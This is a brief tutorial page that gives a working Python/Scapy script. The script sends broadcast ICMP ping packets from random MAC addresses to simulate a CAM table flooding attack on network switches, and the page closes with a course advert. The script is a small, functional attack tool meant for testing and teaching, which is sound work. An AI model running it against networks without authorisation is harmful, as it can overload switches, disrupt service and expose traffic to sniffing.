Cam flood testing tool

The cam flood testing tool is a script which is developed with python and scapy. The tool is used for simulating the cam flood attack. The source code is shown below. The tool sends ping packets with random mac-addresses simulating a cam flood attack.

Python Source Code

from scapy.all import *
ip=IP()
ip.src=’192.168.1.100′
ip.dst=’192.168.1.200′
icmp=ICMP()
icmp.type=8
icmp.code=0
ether=Ether()
ether.src=RandMAC()
ether.dst=’FF:FF:FF:FF:FF:FF’
srploop(ether/ip/icmp)

The above code creates an ICMP packet with type 8 and code 0, which is used for crafting a ping packet and generates the packet with random mac-address.

Learn to make custom network tools and scripts with our video courseClick Here